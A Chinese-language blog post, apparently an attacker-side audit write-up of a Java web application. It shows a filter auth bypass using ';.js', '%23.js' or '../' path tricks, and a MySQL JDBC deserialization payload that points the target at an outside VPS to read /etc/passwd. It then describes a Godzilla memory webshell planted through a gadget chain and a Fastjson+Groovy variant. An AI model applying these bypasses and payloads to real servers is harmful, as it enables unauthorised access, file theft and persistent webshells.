最近打点用的一些java漏洞

前言

好久没写文章了,把最近打点审的几个漏洞分享一下。

代码审计

filter权限绕过

CurrentContextFilter里,有四个关键方法。

image

需要关注的方法,很明显可以看出,应该是:
isExcludeResource(request.getRequestURI())
isStaticResource(request.getRequestURI())
isAnonPermission(request)

从方法命名上可以看见分别代表含义“是否排除的资源”、“是否是静态资源”、“是否是匿名权限”。

分析

isExcludeResource

isExcludeResource(request.getRequestURI())是判断当前url是否包含

1
2
3
4
5
6
/xxxinterface/invoke
/metadata/xxx/findList"
/ui/xxx/xxxLayoutPath"
/metadata/xxx/xxxColumns"
/metadata/xxxx/xxxScene
/ui/xxx/xxxPath

如果包含以上值,则返回值是true

image

isStaticResource

isStaticResource(request.getRequestURI())是判断当前url是否包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/static
/scripts
/css
.js
/js
.png
.jpg
/images
/fonts
.css
.html
/bpm/editor-app
.svg
.gif

如果包含,返回值是true

image

CurrentContextFilter里面,当两个方法返回值是true时,返回值是null

image

dofilter方法里面,也就是该filter触发时,如果当前userAuthInfo的值是null,会直接去更新当前上下文updateCurrentContext,也就是逻辑正常走完,没有中途通过return去退出。

image

isAnonPermission

实际分析发现,此处是通过验证redis里面的user-token是否有效去验证用户权限的,因此不在分析范围内。

漏洞验证

直接访问某个接口的时候,会提示Token is not present.

image

也就是在getUserAuthInfo方法里面执行到了下面这个位置

如果想要跳过该401的提示,则需要将逻辑执行到上面的return null处。

image

此时就很清晰了,可以通过在isStaticResource方法或isExcludeResource方法去跳过该逻辑。

以isStaticResource为例

也就是在当前的url里面添加静态资源或者添加某几个url即可绕过该限制。

如通过在当前url添加静态资源后缀js时(;.js或者是#.js#需要url编码为%23),即可绕过该401限制,回显数据。

image

以isExcludeResource为例

如在当前的url里面添加特殊的url,再利用../去跨越路径也可以绕过。

image

其他情况?

如果走2和3的逻辑,则token是在redis里面存着的

image

这种情况无法去伪造,即便是jwt的密钥是硬编码的情况下。

image

如果请求头里面的token是以basic为开始的,则有可能可以去伪造token

Authorization: Basic YWRtaW46MTIzNDU2

image

但暂时未在当前jar里面找到实现该逻辑的代码块。

Mysql jdbc反序列化

分析

DmXXXXController

image

DmXXXServiceImpl里面找到importDmByJdbc的实现方法

image

再跟入到JdbcUtils.getMetaTableList里面看见了DriverManager.getConnection,且url可控和lib目录下存在mysql-connector-java-8.0.14.jar,也就能打mysql jdbc反序列化漏洞了。

image

image

漏洞验证

构造读取/etc/passwdpayload

1
{"url":"jdbc:mysql://x.x.x.x:3308/test?user=base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","user":"base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","pwd":"123","appCode":"admin"}

image

vps上收到请求

image

然后就成功读取到对方linux服务器上的文件

image

此时尝试打内存马,用的cb链生成的哥斯拉内存马

image

发包后服务器收到请求

image

哥斯拉尝试连接,并连接成功

image

Fastjson+groovy反序列化

此处也能通过fastjson+groovy去打内存马

image

且存在groovy的依赖
image

总结

多审计day,打点才能事半功倍。

Author: jdr
Link: https://jdr2021.github.io/2024/12/11/最近打点用的一些java漏洞/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.